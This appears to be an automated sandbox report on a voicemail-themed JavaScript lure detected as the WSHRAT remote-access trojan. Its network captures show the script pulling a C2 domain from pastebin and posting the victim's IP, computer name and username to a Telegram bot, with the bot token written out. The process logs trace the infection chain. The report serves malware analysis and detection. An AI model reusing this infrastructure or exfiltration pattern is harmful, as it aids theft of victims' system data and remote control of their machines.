                                                                                                                                                                                      2024-05-10 19:31:59 UTC29INData Raw: 31 37 0d 0a 6d 61 73 74 65 72 6f 6b 72 77 68 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 0d 0a
                                                                                                                                                                                      Data Ascii: 17masterokrwh.duckdns.org
                                                                                                                                                                                      2024-05-10 19:31:59 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      26192.168.2.44978420.12.23.50443
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:32:13 UTC306OUTGET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b8bxb6t7sHH7Osr&MD=Nl6g3fCr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
                                                                                                                                                                                      Host: slscr.update.microsoft.com
                                                                                                                                                                                      2024-05-10 19:32:14 UTC560INHTTP/1.1 200 OK
                                                                                                                                                                                      Cache-Control: no-cache
                                                                                                                                                                                      Pragma: no-cache
                                                                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                                                                      Expires: -1
                                                                                                                                                                                      Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
                                                                                                                                                                                      ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160"
                                                                                                                                                                                      MS-CorrelationId: af33db17-767a-456c-9f85-b65994c37355
                                                                                                                                                                                      MS-RequestId: 4079a4d0-aaea-4f43-9cd8-aeac7c590c05
                                                                                                                                                                                      MS-CV: s37oStQwSkikT1G/.0
                                                                                                                                                                                      X-Microsoft-SLSClientCache: 2160
                                                                                                                                                                                      Content-Disposition: attachment; filename=environment.cab
                                                                                                                                                                                      X-Content-Type-Options: nosniff
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:32:13 GMT
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Content-Length: 25457
                                                                                                                                                                                      2024-05-10 19:32:14 UTC15824INData Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92
                                                                                                                                                                                      Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
                                                                                                                                                                                      2024-05-10 19:32:14 UTC9633INData Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a
                                                                                                                                                                                      Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      27192.168.2.449791104.21.25.1484436936C:\Windows\System32\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:32:32 UTC281OUTGET / HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      UA-CPU: AMD64
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      2024-05-10 19:32:32 UTC798INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:32:32 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9992
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j3LPNtZGbFZ5dUJyiU4h5QTcO%2Bym9Cm2hAXzeAWus3tpHO9clo4N70dLbX0rVevfHp2ON4TA4YtRGv1xuHjcvG4TwB5HMxRTuyY2T7NhFmtJn9cfGmU2fPVTnIM3PXaGXE%2BU3xQs"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5b15a9102a45-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:32:32 UTC571INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:32:32 UTC225INData Raw: 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: ": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:32:32 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      28192.168.2.449792149.154.167.2204436936C:\Windows\System32\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:32:32 UTC289OUTPOST /bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessage HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Content-Length: 104
                                                                                                                                                                                      Host: api.telegram.org
                                                                                                                                                                                      2024-05-10 19:32:32 UTC104OUTData Raw: 7b 22 63 68 61 74 5f 69 64 22 3a 22 36 34 38 31 32 37 30 39 30 38 22 2c 22 74 65 78 74 22 3a 22 41 63 63 65 73 73 20 67 72 61 6e 74 65 64 21 20 49 50 3a 20 38 31 2e 31 38 31 2e 36 32 2e 33 34 2c 20 43 6f 6d 70 75 74 65 72 20 4e 61 6d 65 3a 20 4a 4f 4e 45 53 2d 50 43 2c 20 55 73 65 72 3a 20 6a 6f 6e 65 73 22 7d
                                                                                                                                                                                      Data Ascii: {"chat_id":"6481270908","text":"Access granted! IP: 81.181.62.34, Computer Name: user-PC, User: user"}
                                                                                                                                                                                      2024-05-10 19:32:33 UTC388INHTTP/1.1 200 OK
                                                                                                                                                                                      Server: nginx/1.18.0
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:32:33 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Content-Length: 348
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                      2024-05-10 19:32:33 UTC348INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 39 36 38 31 32 36 34 36 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 46 49 4c 45 20 43 4c 49 43 4b 45 44 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 6c 69 6b 65 64 61 62 6f 66 69 6c 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 34 38 31 32 37 30 39 30 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 58 61 64 69 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 31 35 33 36 39 35 35 33 2c 22 74 65 78 74 22 3a 22 41 63 63 65 73 73 20 67 72 61 6e 74 65 64 21 20 49 50 3a 20 38 31 2e 31 38 31 2e 36 32 2e 33 34
                                                                                                                                                                                      Data Ascii: {"ok":true,"result":{"message_id":75,"from":{"id":6968126468,"is_bot":true,"first_name":"FILE CLICKED","username":"clikedabofilebot"},"chat":{"id":6481270908,"first_name":"Xadin","type":"private"},"date":1715369553,"text":"Access granted! IP: 81.181.62.34


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      29192.168.2.449794172.67.19.244436936C:\Windows\System32\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:32:33 UTC158OUTGET /raw/NsQ5qTHr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Host: pastebin.com
                                                                                                                                                                                      2024-05-10 19:32:34 UTC396INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:32:34 GMT
                                                                                                                                                                                      Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      x-frame-options: DENY
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1;mode=block
                                                                                                                                                                                      cache-control: public, max-age=1801
                                                                                                                                                                                      CF-Cache-Status: HIT
                                                                                                                                                                                      Age: 39
                                                                                                                                                                                      Last-Modified: Fri, 10 May 2024 19:31:55 GMT
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5b20ddb649ef-ORD
                                                                                                                                                                                      2024-05-10 19:32:34 UTC29INData Raw: 31 37 0d 0a 6d 61 73 74 65 72 6f 6b 72 77 68 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 0d 0a
                                                                                                                                                                                      Data Ascii: 17masterokrwh.duckdns.org
                                                                                                                                                                                      2024-05-10 19:32:34 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Statistics

                                                                                                                                                                                      CPU Usage

                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                      Memory Usage

                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                      High Level Behavior Distribution

                                                                                                                                                                                      Click to dive into process behavior distribution

                                                                                                                                                                                      Behavior

                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                      System Behavior

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:0
                                                                                                                                                                                      Start time:21:31:14
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Voicemail Jud.html"
                                                                                                                                                                                      Imagebase:0x7ff76e190000
                                                                                                                                                                                      File size:3'242'272 bytes
                                                                                                                                                                                      MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:false

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:2
                                                                                                                                                                                      Start time:21:31:18
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2292,i,17443918596644864279,4892845659542734896,262144 /prefetch:8
                                                                                                                                                                                      Imagebase:0x7ff76e190000
                                                                                                                                                                                      File size:3'242'272 bytes
                                                                                                                                                                                      MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:false

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:6
                                                                                                                                                                                      Start time:21:31:49
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\SysWOW64\unarchiver.exe
                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                      Commandline:"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip"
                                                                                                                                                                                      Imagebase:0xaa0000
                                                                                                                                                                                      File size:12'800 bytes
                                                                                                                                                                                      MD5 hash:16FF3CC6CC330A08EED70CBC1D35F5D2
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:7
                                                                                                                                                                                      Start time:21:31:49
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\SysWOW64\7za.exe
                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                      Commandline:"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\2otik2vy.ast" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip"
                                                                                                                                                                                      Imagebase:0x7a0000
                                                                                                                                                                                      File size:289'792 bytes
                                                                                                                                                                                      MD5 hash:77E556CDFDC5C592F5C46DB4127C6F4C
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000007.00000003.2039075098.0000000000E00000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 00000007.00000003.2039075098.0000000000E00000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:8
                                                                                                                                                                                      Start time:21:31:49
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                      Imagebase:0x7ff7699e0000
                                                                                                                                                                                      File size:862'208 bytes
                                                                                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:9
                                                                                                                                                                                      Start time:21:31:50
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                      Commandline:"cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js"
                                                                                                                                                                                      Imagebase:0x240000
                                                                                                                                                                                      File size:236'544 bytes
                                                                                                                                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:10
                                                                                                                                                                                      Start time:21:31:50
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                      Imagebase:0x7ff7699e0000
                                                                                                                                                                                      File size:862'208 bytes
                                                                                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:11
                                                                                                                                                                                      Start time:21:31:50
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                      Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js"
                                                                                                                                                                                      Imagebase:0x230000
                                                                                                                                                                                      File size:147'456 bytes
                                                                                                                                                                                      MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2053554395.0000000003517000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2092992601.00000000052A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2094186218.000000000573C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2047460205.0000000005727000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2091678833.0000000006DB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000B.00000003.2091678833.0000000006DB1000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2089734091.0000000006A73000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000B.00000003.2089734091.0000000006A73000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2044961577.00000000055E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2093146388.00000000055ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000B.00000003.2047368224.0000000005204000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000B.00000003.2047368224.0000000005204000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      Reputation:moderate
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:12
                                                                                                                                                                                      Start time:21:31:55
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                      Commandline:"C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                                                                                                                                                                                      Imagebase:0x7ff7699e0000
                                                                                                                                                                                      File size:147'456 bytes
                                                                                                                                                                                      MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2093975107.00000000038A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2197255789.0000000006CBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2776254293.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2776254293.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000002.3662166348.00000000059A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2252696295.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2252696295.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2092554619.0000000005A54000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000002.3662373093.0000000005AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2365561540.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
